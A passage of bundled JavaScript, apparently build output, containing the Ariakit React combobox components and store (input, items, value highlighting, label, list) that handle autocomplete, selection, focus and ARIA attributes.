31499 if (!isMouseMoving()) return;
31500 if (hoveringInside(event)) return;
31501 if (movingToAnotherItem(event)) return;
31502 if (!focusOnHoverProp(event)) return;
31503 if (!blurOnHoverEndProp(event)) return;
31504 store2 == null ? void 0 : store2.setActiveId(null);
31505 (_a = store2 == null ? void 0 : store2.getState().baseElement) == null ? void 0 : _a.focus();
31506 });
31507 const ref = (0, import_react20.useCallback)((element) => {
31508 if (!element) return;
31509 element[symbol2] = true;
31510 }, []);
31511 props = {
31512 ...props,
31513 ref: useMergeRefs(ref, props.ref),
31514 onMouseMove,
31515 onMouseLeave
31516 };
31517 return removeUndefinedValues(props);
31518 }
31519 );
31520 var CompositeHover = memo22(
31521 forwardRef22(function CompositeHover2(props) {
31522 const htmlProps = useCompositeHover(props);
31523 return createElement5(TagName8, htmlProps);
31524 })
31525 );
31526
31527 // node_modules/@ariakit/react-core/esm/combobox/combobox.js
31528 var import_react21 = __toESM(require_react(), 1);
31529 var TagName9 = "input";
31530 function isFirstItemAutoSelected(items, activeValue, autoSelect) {
31531 if (!autoSelect) return false;
31532 const firstItem = items.find((item) => !item.disabled && item.value);
31533 return (firstItem == null ? void 0 : firstItem.value) === activeValue;
31534 }
31535 function hasCompletionString(value, activeValue) {
31536 if (!activeValue) return false;
31537 if (value == null) return false;
31538 value = normalizeString2(value);
31539 return activeValue.length > value.length && activeValue.toLowerCase().indexOf(value.toLowerCase()) === 0;
31540 }
31541 function isInputEvent(event) {
31542 return event.type === "input";
31543 }
31544 function isAriaAutoCompleteValue(value) {
31545 return value === "inline" || value === "list" || value === "both" || value === "none";
31546 }
31547 function getDefaultAutoSelectId(items) {
31548 const item = items.find((item2) => {
31549 var _a;
31550 if (item2.disabled) return false;
31551 return ((_a = item2.element) == null ? void 0 : _a.getAttribute("role")) !== "tab";
31552 });
31553 return item == null ? void 0 : item.id;
31554 }
31555 var useCombobox = createHook(
31556 function useCombobox2({
31557 store: store2,
31558 focusable = true,
31559 autoSelect: autoSelectProp = false,
31560 getAutoSelectId,
31561 setValueOnChange,
31562 showMinLength = 0,
31563 showOnChange,
31564 showOnMouseDown,
31565 showOnClick = showOnMouseDown,
31566 showOnKeyDown,
31567 showOnKeyPress = showOnKeyDown,
31568 blurActiveItemOnClick,
31569 setValueOnClick = true,
31570 moveOnKeyPress = true,
31571 autoComplete = "list",
31572 ...props
31573 }) {
31574 const context = useComboboxProviderContext();
31575 store2 = store2 || context;
31576 invariant(
31577 store2,
31578 "Combobox must receive a `store` prop or be wrapped in a ComboboxProvider component."
31579 );
31580 const ref = (0, import_react21.useRef)(null);
31581 const [valueUpdated, forceValueUpdate] = useForceUpdate2();
31582 const canAutoSelectRef = (0, import_react21.useRef)(false);
31583 const composingRef = (0, import_react21.useRef)(false);
31584 const autoSelect = store2.useState(
31585 (state) => state.virtualFocus && autoSelectProp
31586 );
31587 const inline = autoComplete === "inline" || autoComplete === "both";
31588 const [canInline, setCanInline] = (0, import_react21.useState)(inline);
31589 useUpdateLayoutEffect(() => {
31590 if (!inline) return;
31591 setCanInline(true);
31592 }, [inline]);
31593 const storeValue = store2.useState("value");
31594 const prevSelectedValueRef = (0, import_react21.useRef)(void 0);
31595 (0, import_react21.useEffect)(() => {
31596 return sync2(store2, ["selectedValue", "activeId"], (_, prev) => {
31597 prevSelectedValueRef.current = prev.selectedValue;
31598 });
31599 }, []);
31600 const inlineActiveValue = store2.useState((state) => {
31601 var _a;
31602 if (!inline) return;
31603 if (!canInline) return;
31604 if (state.activeValue && Array.isArray(state.selectedValue)) {
31605 if (state.selectedValue.includes(state.activeValue)) return;
31606 if ((_a = prevSelectedValueRef.current) == null ? void 0 : _a.includes(state.activeValue)) return;
31607 }
31608 return state.activeValue;
31609 });
31610 const items = store2.useState("renderedItems");
31611 const open = store2.useState("open");
31612 const contentElement = store2.useState("contentElement");
31613 const value = (0, import_react21.useMemo)(() => {
31614 if (!inline) return storeValue;
31615 if (!canInline) return storeValue;
31616 const firstItemAutoSelected = isFirstItemAutoSelected(
31617 items,
31618 inlineActiveValue,
31619 autoSelect
31620 );
31621 if (firstItemAutoSelected) {
31622 if (hasCompletionString(storeValue, inlineActiveValue)) {
31623 const slice = (inlineActiveValue == null ? void 0 : inlineActiveValue.slice(storeValue.length)) || "";
31624 return storeValue + slice;
31625 }
31626 return storeValue;
31627 }
31628 return inlineActiveValue || storeValue;
31629 }, [inline, canInline, items, inlineActiveValue, autoSelect, storeValue]);
31630 (0, import_react21.useEffect)(() => {
31631 const element = ref.current;
31632 if (!element) return;
31633 const onCompositeItemMove = () => setCanInline(true);
31634 element.addEventListener("combobox-item-move", onCompositeItemMove);
31635 return () => {
31636 element.removeEventListener("combobox-item-move", onCompositeItemMove);
31637 };
31638 }, []);
31639 (0, import_react21.useEffect)(() => {
31640 if (!inline) return;
31641 if (!canInline) return;
31642 if (!inlineActiveValue) return;
31643 const firstItemAutoSelected = isFirstItemAutoSelected(
31644 items,
31645 inlineActiveValue,
31646 autoSelect
31647 );
31648 if (!firstItemAutoSelected) return;
31649 if (!hasCompletionString(storeValue, inlineActiveValue)) return;
31650 let cleanup = noop3;
31651 queueMicrotask(() => {
31652 const element = ref.current;
31653 if (!element) return;
31654 const { start: prevStart, end: prevEnd } = getTextboxSelection(element);
31655 const nextStart = storeValue.length;
31656 const nextEnd = inlineActiveValue.length;
31657 setSelectionRange(element, nextStart, nextEnd);
31658 cleanup = () => {
31659 if (!hasFocus(element)) return;
31660 const { start: start2, end } = getTextboxSelection(element);
31661 if (start2 !== nextStart) return;
31662 if (end !== nextEnd) return;
31663 setSelectionRange(element, prevStart, prevEnd);
31664 };
31665 });
31666 return () => cleanup();
31667 }, [
31668 valueUpdated,
31669 inline,
31670 canInline,
31671 inlineActiveValue,
31672 items,
31673 autoSelect,
31674 storeValue
31675 ]);
31676 const scrollingElementRef = (0, import_react21.useRef)(null);
31677 const getAutoSelectIdProp = useEvent(getAutoSelectId);
31678 const autoSelectIdRef = (0, import_react21.useRef)(null);
31679 (0, import_react21.useEffect)(() => {
31680 if (!open) return;
31681 if (!contentElement) return;
31682 const scrollingElement = getScrollingElement(contentElement);
31683 if (!scrollingElement) return;
31684 scrollingElementRef.current = scrollingElement;
31685 const onUserScroll = () => {
31686 canAutoSelectRef.current = false;
31687 };
31688 const onScroll = () => {
31689 if (!store2) return;
31690 if (!canAutoSelectRef.current) return;
31691 const { activeId } = store2.getState();
31692 if (activeId === null) return;
31693 if (activeId === autoSelectIdRef.current) return;
31694 canAutoSelectRef.current = false;
31695 };
31696 const options = { passive: true, capture: true };
31697 scrollingElement.addEventListener("wheel", onUserScroll, options);
31698 scrollingElement.addEventListener("touchmove", onUserScroll, options);
31699 scrollingElement.addEventListener("scroll", onScroll, options);
31700 return () => {
31701 scrollingElement.removeEventListener("wheel", onUserScroll, true);
31702 scrollingElement.removeEventListener("touchmove", onUserScroll, true);
31703 scrollingElement.removeEventListener("scroll", onScroll, true);
31704 };
31705 }, [open, contentElement, store2]);
31706 useSafeLayoutEffect(() => {
31707 if (!storeValue) return;
31708 if (composingRef.current) return;
31709 canAutoSelectRef.current = true;
31710 }, [storeValue]);
31711 useSafeLayoutEffect(() => {
31712 if (autoSelect !== "always" && open) return;
31713 canAutoSelectRef.current = open;
31714 }, [autoSelect, open]);
31715 const resetValueOnSelect = store2.useState("resetValueOnSelect");
31716 useUpdateEffect(() => {
31717 var _a, _b;
31718 const canAutoSelect = canAutoSelectRef.current;
31719 if (!store2) return;
31720 if (!open) return;
31721 if (!canAutoSelect && !resetValueOnSelect) return;
31722 const { baseElement, contentElement: contentElement2, activeId } = store2.getState();
31723 if (baseElement && !hasFocus(baseElement)) return;
31724 if (contentElement2 == null ? void 0 : contentElement2.hasAttribute("data-placing")) {
31725 const observer = new MutationObserver(forceValueUpdate);
31726 observer.observe(contentElement2, { attributeFilter: ["data-placing"] });
31727 return () => observer.disconnect();
31728 }
31729 if (autoSelect && canAutoSelect) {
31730 const userAutoSelectId = getAutoSelectIdProp(items);
31731 const autoSelectId = userAutoSelectId !== void 0 ? userAutoSelectId : (_a = getDefaultAutoSelectId(items)) != null ? _a : store2.first();
31732 autoSelectIdRef.current = autoSelectId;
31733 store2.move(autoSelectId != null ? autoSelectId : null);
31734 } else {
31735 const element = (_b = store2.item(activeId || store2.first())) == null ? void 0 : _b.element;
31736 if (element && "scrollIntoView" in element) {
31737 element.scrollIntoView({ block: "nearest", inline: "nearest" });
31738 }
31739 }
31740 return;
31741 }, [
31742 store2,
31743 open,
31744 valueUpdated,
31745 storeValue,
31746 autoSelect,
31747 resetValueOnSelect,
31748 getAutoSelectIdProp,
31749 items
31750 ]);
31751 (0, import_react21.useEffect)(() => {
31752 if (!inline) return;
31753 const combobox = ref.current;
31754 if (!combobox) return;
31755 const elements2 = [combobox, contentElement].filter(
31756 (value2) => !!value2
31757 );
31758 const onBlur2 = (event) => {
31759 if (elements2.every((el) => isFocusEventOutside(event, el))) {
31760 store2 == null ? void 0 : store2.setValue(value);
31761 }
31762 };
31763 for (const element of elements2) {
31764 element.addEventListener("focusout", onBlur2);
31765 }
31766 return () => {
31767 for (const element of elements2) {
31768 element.removeEventListener("focusout", onBlur2);
31769 }
31770 };
31771 }, [inline, contentElement, store2, value]);
31772 const canShow = (event) => {
31773 const currentTarget = event.currentTarget;
31774 return currentTarget.value.length >= showMinLength;
31775 };
31776 const onChangeProp = props.onChange;
31777 const showOnChangeProp = useBooleanEvent(showOnChange != null ? showOnChange : canShow);
31778 const setValueOnChangeProp = useBooleanEvent(
31779 // If the combobox is combined with tags, the value will be set by the tag
31780 // input component.
31781 setValueOnChange != null ? setValueOnChange : !store2.tag
31782 );
31783 const onChange = useEvent((event) => {
31784 onChangeProp == null ? void 0 : onChangeProp(event);
31785 if (event.defaultPrevented) return;
31786 if (!store2) return;
31787 const currentTarget = event.currentTarget;
31788 const { value: value2, selectionStart, selectionEnd } = currentTarget;
31789 const nativeEvent = event.nativeEvent;
31790 canAutoSelectRef.current = true;
31791 if (isInputEvent(nativeEvent)) {
31792 if (nativeEvent.isComposing) {
31793 canAutoSelectRef.current = false;
31794 composingRef.current = true;
31795 }
31796 if (inline) {
31797 const textInserted = nativeEvent.inputType === "insertText" || nativeEvent.inputType === "insertCompositionText";
31798 const caretAtEnd = selectionStart === value2.length;
31799 setCanInline(textInserted && caretAtEnd);
31800 }
31801 }
31802 if (setValueOnChangeProp(event)) {
31803 const isSameValue = value2 === store2.getState().value;
31804 store2.setValue(value2);
31805 queueMicrotask(() => {
31806 setSelectionRange(currentTarget, selectionStart, selectionEnd);
31807 });
31808 if (inline && autoSelect && isSameValue) {
31809 forceValueUpdate();
31810 }
31811 }
31812 if (showOnChangeProp(event)) {
31813 store2.show();
31814 }
31815 if (!autoSelect || !canAutoSelectRef.current) {
31816 store2.setActiveId(null);
31817 }
31818 });
31819 const onCompositionEndProp = props.onCompositionEnd;
31820 const onCompositionEnd = useEvent((event) => {
31821 canAutoSelectRef.current = true;
31822 composingRef.current = false;
31823 onCompositionEndProp == null ? void 0 : onCompositionEndProp(event);
31824 if (event.defaultPrevented) return;
31825 if (!autoSelect) return;
31826 forceValueUpdate();
31827 });
31828 const onMouseDownProp = props.onMouseDown;
31829 const blurActiveItemOnClickProp = useBooleanEvent(
31830 blurActiveItemOnClick != null ? blurActiveItemOnClick : (() => !!(store2 == null ? void 0 : store2.getState().includesBaseElement))
31831 );
31832 const setValueOnClickProp = useBooleanEvent(setValueOnClick);
31833 const showOnClickProp = useBooleanEvent(showOnClick != null ? showOnClick : canShow);
31834 const onMouseDown = useEvent((event) => {
31835 onMouseDownProp == null ? void 0 : onMouseDownProp(event);
31836 if (event.defaultPrevented) return;
31837 if (event.button) return;
31838 if (event.ctrlKey) return;
31839 if (!store2) return;
31840 if (blurActiveItemOnClickProp(event)) {
31841 store2.setActiveId(null);
31842 }
31843 if (setValueOnClickProp(event)) {
31844 store2.setValue(value);
31845 }
31846 if (showOnClickProp(event)) {
31847 queueBeforeEvent(event.currentTarget, "mouseup", store2.show);
31848 }
31849 });
31850 const onKeyDownProp = props.onKeyDown;
31851 const showOnKeyPressProp = useBooleanEvent(showOnKeyPress != null ? showOnKeyPress : canShow);
31852 const onKeyDown = useEvent((event) => {
31853 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
31854 if (!event.repeat) {
31855 canAutoSelectRef.current = false;
31856 }
31857 if (event.defaultPrevented) return;
31858 if (event.ctrlKey) return;
31859 if (event.altKey) return;
31860 if (event.shiftKey) return;
31861 if (event.metaKey) return;
31862 if (!store2) return;
31863 const { open: open2 } = store2.getState();
31864 if (open2) return;
31865 if (event.key === "ArrowUp" || event.key === "ArrowDown") {
31866 if (showOnKeyPressProp(event)) {
31867 event.preventDefault();
31868 store2.show();
31869 }
31870 }
31871 });
31872 const onBlurProp = props.onBlur;
31873 const onBlur = useEvent((event) => {
31874 canAutoSelectRef.current = false;
31875 onBlurProp == null ? void 0 : onBlurProp(event);
31876 if (event.defaultPrevented) return;
31877 });
31878 const id = useId5(props.id);
31879 const ariaAutoComplete = isAriaAutoCompleteValue(autoComplete) ? autoComplete : void 0;
31880 const isActiveItem = store2.useState((state) => state.activeId === null);
31881 props = {
31882 id,
31883 role: "combobox",
31884 "aria-autocomplete": ariaAutoComplete,
31885 "aria-haspopup": getPopupRole(contentElement, "listbox"),
31886 "aria-expanded": open,
31887 "aria-controls": contentElement == null ? void 0 : contentElement.id,
31888 "data-active-item": isActiveItem || void 0,
31889 value,
31890 ...props,
31891 ref: useMergeRefs(ref, props.ref),
31892 onChange,
31893 onCompositionEnd,
31894 onMouseDown,
31895 onKeyDown,
31896 onBlur
31897 };
31898 props = useComposite({
31899 store: store2,
31900 focusable,
31901 ...props,
31902 // Enable inline autocomplete when the user moves from the combobox input
31903 // to an item.
31904 moveOnKeyPress: (event) => {
31905 if (isFalsyBooleanCallback(moveOnKeyPress, event)) return false;
31906 if (inline) setCanInline(true);
31907 return true;
31908 }
31909 });
31910 props = usePopoverAnchor({ store: store2, ...props });
31911 return { autoComplete: "off", ...props };
31912 }
31913 );
31914 var Combobox = forwardRef22(function Combobox2(props) {
31915 const htmlProps = useCombobox(props);
31916 return createElement5(TagName9, htmlProps);
31917 });
31918
31919 // node_modules/@ariakit/react-core/esm/__chunks/IBXZ2LQC.js
31920 var import_react22 = __toESM(require_react(), 1);
31921 var import_jsx_runtime210 = __toESM(require_jsx_runtime(), 1);
31922 var TagName10 = "div";
31923 function isSelected(storeValue, itemValue) {
31924 if (itemValue == null) return;
31925 if (storeValue == null) return false;
31926 if (Array.isArray(storeValue)) {
31927 return storeValue.includes(itemValue);
31928 }
31929 return storeValue === itemValue;
31930 }
31931 function getItemRole(popupRole) {
31932 var _a;
31933 const itemRoleByPopupRole = {
31934 menu: "menuitem",
31935 listbox: "option",
31936 tree: "treeitem"
31937 };
31938 const key = popupRole;
31939 return (_a = itemRoleByPopupRole[key]) != null ? _a : "option";
31940 }
31941 var useComboboxItem = createHook(
31942 function useComboboxItem2({
31943 store: store2,
31944 value,
31945 hideOnClick,
31946 setValueOnClick,
31947 selectValueOnClick = true,
31948 resetValueOnSelect,
31949 focusOnHover = false,
31950 moveOnKeyPress = true,
31951 getItem: getItemProp,
31952 ...props
31953 }) {
31954 var _a;
31955 const context = useComboboxScopedContext();
31956 store2 = store2 || context;
31957 invariant(
31958 store2,
31959 "ComboboxItem must be wrapped in a ComboboxList or ComboboxPopover component."
31960 );
31961 const { resetValueOnSelectState, multiSelectable, selected } = useStoreStateObject(store2, {
31962 resetValueOnSelectState: "resetValueOnSelect",
31963 multiSelectable(state) {
31964 return Array.isArray(state.selectedValue);
31965 },
31966 selected(state) {
31967 return isSelected(state.selectedValue, value);
31968 }
31969 });
31970 const getItem = (0, import_react22.useCallback)(
31971 (item) => {
31972 const nextItem = { ...item, value };
31973 if (getItemProp) {
31974 return getItemProp(nextItem);
31975 }
31976 return nextItem;
31977 },
31978 [value, getItemProp]
31979 );
31980 setValueOnClick = setValueOnClick != null ? setValueOnClick : !multiSelectable;
31981 hideOnClick = hideOnClick != null ? hideOnClick : value != null && !multiSelectable;
31982 const onClickProp = props.onClick;
31983 const setValueOnClickProp = useBooleanEvent(setValueOnClick);
31984 const selectValueOnClickProp = useBooleanEvent(selectValueOnClick);
31985 const resetValueOnSelectProp = useBooleanEvent(
31986 (_a = resetValueOnSelect != null ? resetValueOnSelect : resetValueOnSelectState) != null ? _a : multiSelectable
31987 );
31988 const hideOnClickProp = useBooleanEvent(hideOnClick);
31989 const onClick = useEvent((event) => {
31990 onClickProp == null ? void 0 : onClickProp(event);
31991 if (event.defaultPrevented) return;
31992 if (isDownloading(event)) return;
31993 if (isOpeningInNewTab(event)) return;
31994 if (value != null) {
31995 if (selectValueOnClickProp(event)) {
31996 if (resetValueOnSelectProp(event)) {
31997 store2 == null ? void 0 : store2.resetValue();
31998 }
31999 store2 == null ? void 0 : store2.setSelectedValue((prevValue) => {
32000 if (!Array.isArray(prevValue)) return value;
32001 if (prevValue.includes(value)) {
32002 return prevValue.filter((v2) => v2 !== value);
32003 }
32004 return [...prevValue, value];
32005 });
32006 }
32007 if (setValueOnClickProp(event)) {
32008 store2 == null ? void 0 : store2.setValue(value);
32009 }
32010 }
32011 if (hideOnClickProp(event)) {
32012 store2 == null ? void 0 : store2.hide();
32013 }
32014 });
32015 const onKeyDownProp = props.onKeyDown;
32016 const onKeyDown = useEvent((event) => {
32017 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
32018 if (event.defaultPrevented) return;
32019 const baseElement = store2 == null ? void 0 : store2.getState().baseElement;
32020 if (!baseElement) return;
32021 if (hasFocus(baseElement)) return;
32022 const printable = event.key.length === 1;
32023 if (printable || event.key === "Backspace" || event.key === "Delete") {
32024 queueMicrotask(() => baseElement.focus());
32025 if (isTextField(baseElement)) {
32026 store2 == null ? void 0 : store2.setValue(baseElement.value);
32027 }
32028 }
32029 });
32030 if (multiSelectable && selected != null) {
32031 props = {
32032 "aria-selected": selected,
32033 ...props
32034 };
32035 }
32036 props = useWrapElement(
32037 props,
32038 (element) => /* @__PURE__ */ (0, import_jsx_runtime210.jsx)(ComboboxItemValueContext.Provider, { value, children: /* @__PURE__ */ (0, import_jsx_runtime210.jsx)(ComboboxItemCheckedContext.Provider, { value: selected != null ? selected : false, children: element }) }),
32039 [value, selected]
32040 );
32041 const popupRole = (0, import_react22.useContext)(ComboboxListRoleContext);
32042 props = {
32043 role: getItemRole(popupRole),
32044 children: value,
32045 ...props,
32046 onClick,
32047 onKeyDown
32048 };
32049 const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
32050 props = useCompositeItem({
32051 store: store2,
32052 ...props,
32053 getItem,
32054 // Dispatch a custom event on the combobox input when moving to an item
32055 // with the keyboard so the Combobox component can enable inline
32056 // autocompletion.
32057 moveOnKeyPress: (event) => {
32058 if (!moveOnKeyPressProp(event)) return false;
32059 const moveEvent = new Event("combobox-item-move");
32060 const baseElement = store2 == null ? void 0 : store2.getState().baseElement;
32061 baseElement == null ? void 0 : baseElement.dispatchEvent(moveEvent);
32062 return true;
32063 }
32064 });
32065 props = useCompositeHover({ store: store2, focusOnHover, ...props });
32066 return props;
32067 }
32068 );
32069 var ComboboxItem = memo22(
32070 forwardRef22(function ComboboxItem2(props) {
32071 const htmlProps = useComboboxItem(props);
32072 return createElement5(TagName10, htmlProps);
32073 })
32074 );
32075
32076 // node_modules/@ariakit/react-core/esm/combobox/combobox-item-value.js
32077 var import_react23 = __toESM(require_react(), 1);
32078 var import_jsx_runtime211 = __toESM(require_jsx_runtime(), 1);
32079 var TagName11 = "span";
32080 function normalizeValue(value) {
32081 return normalizeString2(value).toLowerCase();
32082 }
32083 function getOffsets(string, values) {
32084 const offsets = [];
32085 for (const value of values) {
32086 let pos = 0;
32087 const length = value.length;
32088 while (string.indexOf(value, pos) !== -1) {
32089 const index = string.indexOf(value, pos);
32090 if (index !== -1) {
32091 offsets.push([index, length]);
32092 }
32093 pos = index + 1;
32094 }
32095 }
32096 return offsets;
32097 }
32098 function filterOverlappingOffsets(offsets) {
32099 return offsets.filter(([offset, length], i2, arr) => {
32100 return !arr.some(
32101 ([o3, l2], j2) => j2 !== i2 && o3 <= offset && o3 + l2 >= offset + length
32102 );
32103 });
32104 }
32105 function sortOffsets(offsets) {
32106 return offsets.sort(([a2], [b2]) => a2 - b2);
32107 }
32108 function splitValue(itemValue, userValue) {
32109 if (!itemValue) return itemValue;
32110 if (!userValue) return itemValue;
32111 const userValues = toArray2(userValue).filter(Boolean).map(normalizeValue);
32112 const parts = [];
32113 const span = (value, autocomplete = false) => /* @__PURE__ */ (0, import_jsx_runtime211.jsx)(
32114 "span",
32115 {
32116 "data-autocomplete-value": autocomplete ? "" : void 0,
32117 "data-user-value": autocomplete ? void 0 : "",
32118 children: value
32119 },
32120 parts.length
32121 );
32122 const offsets = sortOffsets(
32123 filterOverlappingOffsets(
32124 // Convert userValues into a set to avoid duplicates
32125 getOffsets(normalizeValue(itemValue), new Set(userValues))
32126 )
32127 );
32128 if (!offsets.length) {
32129 parts.push(span(itemValue, true));
32130 return parts;
32131 }
32132 const [firstOffset] = offsets[0];
32133 const values = [
32134 itemValue.slice(0, firstOffset),
32135 ...offsets.flatMap(([offset, length], i2) => {
32136 var _a;
32137 const value = itemValue.slice(offset, offset + length);
32138 const nextOffset = (_a = offsets[i2 + 1]) == null ? void 0 : _a[0];
32139 const nextValue = itemValue.slice(offset + length, nextOffset);
32140 return [value, nextValue];
32141 })
32142 ];
32143 values.forEach((value, i2) => {
32144 if (!value) return;
32145 parts.push(span(value, i2 % 2 === 0));
32146 });
32147 return parts;
32148 }
32149 var useComboboxItemValue = createHook(function useComboboxItemValue2({ store: store2, value, userValue, ...props }) {
32150 const context = useComboboxScopedContext();
32151 store2 = store2 || context;
32152 const itemContext = (0, import_react23.useContext)(ComboboxItemValueContext);
32153 const itemValue = value != null ? value : itemContext;
32154 const inputValue = useStoreState(store2, (state) => userValue != null ? userValue : state == null ? void 0 : state.value);
32155 const children = (0, import_react23.useMemo)(() => {
32156 if (!itemValue) return;
32157 if (!inputValue) return itemValue;
32158 return splitValue(itemValue, inputValue);
32159 }, [itemValue, inputValue]);
32160 props = {
32161 children,
32162 ...props
32163 };
32164 return removeUndefinedValues(props);
32165 });
32166 var ComboboxItemValue = forwardRef22(function ComboboxItemValue2(props) {
32167 const htmlProps = useComboboxItemValue(props);
32168 return createElement5(TagName11, htmlProps);
32169 });
32170
32171 // node_modules/@ariakit/react-core/esm/combobox/combobox-label.js
32172 var TagName12 = "label";
32173 var useComboboxLabel = createHook(
32174 function useComboboxLabel2({ store: store2, ...props }) {
32175 const context = useComboboxProviderContext();
32176 store2 = store2 || context;
32177 invariant(
32178 store2,
32179 "ComboboxLabel must receive a `store` prop or be wrapped in a ComboboxProvider component."
32180 );
32181 const comboboxId = store2.useState((state) => {
32182 var _a;
32183 return (_a = state.baseElement) == null ? void 0 : _a.id;
32184 });
32185 props = {
32186 htmlFor: comboboxId,
32187 ...props
32188 };
32189 return removeUndefinedValues(props);
32190 }
32191 );
32192 var ComboboxLabel = memo22(
32193 forwardRef22(function ComboboxLabel2(props) {
32194 const htmlProps = useComboboxLabel(props);
32195 return createElement5(TagName12, htmlProps);
32196 })
32197 );
32198
32199 // node_modules/@ariakit/react-core/esm/__chunks/2G6YEJT4.js
32200 var import_react24 = __toESM(require_react(), 1);
32201 var import_jsx_runtime212 = __toESM(require_jsx_runtime(), 1);
32202 var TagName13 = "div";
32203 var useComboboxList = createHook(
32204 function useComboboxList2({ store: store2, alwaysVisible, ...props }) {
32205 const scopedContext = useComboboxScopedContext(true);
32206 const context = useComboboxContext();
32207 store2 = store2 || context;
32208 const scopedContextSameStore = !!store2 && store2 === scopedContext;
32209 invariant(
32210 store2,
32211 "ComboboxList must receive a `store` prop or be wrapped in a ComboboxProvider component."
32212 );
32213 const ref = (0, import_react24.useRef)(null);
32214 const id = useId5(props.id);
32215 const mounted = store2.useState("mounted");
32216 const hidden = isHidden(mounted, props.hidden, alwaysVisible);
32217 const style = hidden ? { ...props.style, display: "none" } : props.style;
32218 const multiSelectable = store2.useState(
32219 (state) => Array.isArray(state.selectedValue)
32220 );
32221 const role = useAttribute(ref, "role", props.role);
32222 const isCompositeRole = role === "listbox" || role === "tree" || role === "grid";
32223 const ariaMultiSelectable = isCompositeRole ? multiSelectable || void 0 : void 0;
32224 const [hasListboxInside, setHasListboxInside] = (0, import_react24.useState)(false);
32225 const contentElement = store2.useState("contentElement");
32226 useSafeLayoutEffect(() => {
32227 if (!mounted) return;
32228 const element = ref.current;
32229 if (!element) return;
32230 if (contentElement !== element) return;
32231 const callback = () => {
32232 setHasListboxInside(!!element.querySelector("[role='listbox']"));
32233 };
32234 const observer = new MutationObserver(callback);
32235 observer.observe(element, {
32236 subtree: true,
32237 childList: true,
32238 attributeFilter: ["role"]
32239 });
32240 callback();
32241 return () => observer.disconnect();
32242 }, [mounted, contentElement]);
32243 if (!hasListboxInside) {
32244 props = {
32245 role: "listbox",
32246 "aria-multiselectable": ariaMultiSelectable,
32247 ...props
32248 };
32249 }
32250 props = useWrapElement(
32251 props,
32252 (element) => /* @__PURE__ */ (0, import_jsx_runtime212.jsx)(ComboboxScopedContextProvider, { value: store2, children: /* @__PURE__ */ (0, import_jsx_runtime212.jsx)(ComboboxListRoleContext.Provider, { value: role, children: element }) }),
32253 [store2, role]
32254 );
32255 const setContentElement = id && (!scopedContext || !scopedContextSameStore) ? store2.setContentElement : null;
32256 props = {
32257 id,
32258 hidden,
32259 ...props,
32260 ref: useMergeRefs(setContentElement, ref, props.ref),
32261 style
32262 };
32263 return removeUndefinedValues(props);
32264 }
32265 );
32266 var ComboboxList = forwardRef22(function ComboboxList2(props) {
32267 const htmlProps = useComboboxList(props);
32268 return createElement5(TagName13, htmlProps);
32269 });
32270
32271 // node_modules/@ariakit/react-core/esm/__chunks/XSIEPKGA.js
32272 var import_react25 = __toESM(require_react(), 1);
32273 var TagValueContext = (0, import_react25.createContext)(null);
32274 var TagRemoveIdContext = (0, import_react25.createContext)(
32275 null
32276 );
32277 var ctx8 = createStoreContext(
32278 [CompositeContextProvider],
32279 [CompositeScopedContextProvider]
32280 );
32281 var useTagContext = ctx8.useContext;
32282 var useTagScopedContext = ctx8.useScopedContext;
32283 var useTagProviderContext = ctx8.useProviderContext;
32284 var TagContextProvider = ctx8.ContextProvider;
32285 var TagScopedContextProvider = ctx8.ScopedContextProvider;
32286
32287 // node_modules/@ariakit/core/esm/combobox/combobox-store.js
32288 var isTouchSafari = isSafari() && isTouchDevice();
32289 function createComboboxStore({
32290 tag,
32291 ...props
32292 } = {}) {
32293 const store2 = mergeStore(props.store, pick2(tag, ["value", "rtl"]));
32294 throwOnConflictingProps(props, store2);
32295 const tagState = tag == null ? void 0 : tag.getState();
32296 const syncState = store2 == null ? void 0 : store2.getState();
32297 const activeId = defaultValue(
32298 props.activeId,
32299 syncState == null ? void 0 : syncState.activeId,
32300 props.defaultActiveId,
32301 null
32302 );
32303 const composite = createCompositeStore({
32304 ...props,
32305 activeId,
32306 includesBaseElement: defaultValue(
32307 props.includesBaseElement,
32308 syncState == null ? void 0 : syncState.includesBaseElement,
32309 true
32310 ),
32311 orientation: defaultValue(
32312 props.orientation,
32313 syncState == null ? void 0 : syncState.orientation,
32314 "vertical"
32315 ),
32316 focusLoop: defaultValue(props.focusLoop, syncState == null ? void 0 : syncState.focusLoop, true),
32317 focusWrap: defaultValue(props.focusWrap, syncState == null ? void 0 : syncState.focusWrap, true),
32318 virtualFocus: defaultValue(
32319 props.virtualFocus,
32320 syncState == null ? void 0 : syncState.virtualFocus,
32321 true
32322 )
32323 });
32324 const popover = createPopoverStore({
32325 ...props,
32326 placement: defaultValue(
32327 props.placement,
32328 syncState == null ? void 0 : syncState.placement,
32329 "bottom-start"
32330 )
32331 });
32332 const value = defaultValue(
32333 props.value,
32334 syncState == null ? void 0 : syncState.value,
32335 props.defaultValue,
32336 ""
32337 );
32338 const selectedValue = defaultValue(
32339 props.selectedValue,
32340 syncState == null ? void 0 : syncState.selectedValue,
32341 tagState == null ? void 0 : tagState.values,
32342 props.defaultSelectedValue,
32343 ""
32344 );
32345 const multiSelectable = Array.isArray(selectedValue);
32346 const initialState = {
32347 ...composite.getState(),
32348 ...popover.getState(),
32349 value,
32350 selectedValue,
32351 resetValueOnSelect: defaultValue(
32352 props.resetValueOnSelect,
32353 syncState == null ? void 0 : syncState.resetValueOnSelect,
32354 multiSelectable
32355 ),
32356 resetValueOnHide: defaultValue(
32357 props.resetValueOnHide,
32358 syncState == null ? void 0 : syncState.resetValueOnHide,
32359 multiSelectable && !tag
32360 ),
32361 activeValue: syncState == null ? void 0 : syncState.activeValue
32362 };
32363 const combobox = createStore(initialState, composite, popover, store2);
32364 if (isTouchSafari) {
32365 setup(
32366 combobox,
32367 () => sync2(combobox, ["virtualFocus"], () => {
32368 combobox.setState("virtualFocus", false);
32369 })
32370 );
32371 }
32372 setup(combobox, () => {
32373 if (!tag) return;
32374 return chain(
32375 sync2(combobox, ["selectedValue"], (state) => {
32376 if (!Array.isArray(state.selectedValue)) return;
32377 tag.setValues(state.selectedValue);
32378 }),
32379 sync2(tag, ["values"], (state) => {
32380 combobox.setState("selectedValue", state.values);
32381 })
32382 );
32383 });
32384 setup(
32385 combobox,
32386 () => sync2(combobox, ["resetValueOnHide", "mounted"], (state) => {
32387 if (!state.resetValueOnHide) return;
32388 if (state.mounted) return;
32389 combobox.setState("value", value);
32390 })
32391 );
32392 setup(
32393 combobox,
32394 () => sync2(combobox, ["open"], (state) => {
32395 if (state.open) return;
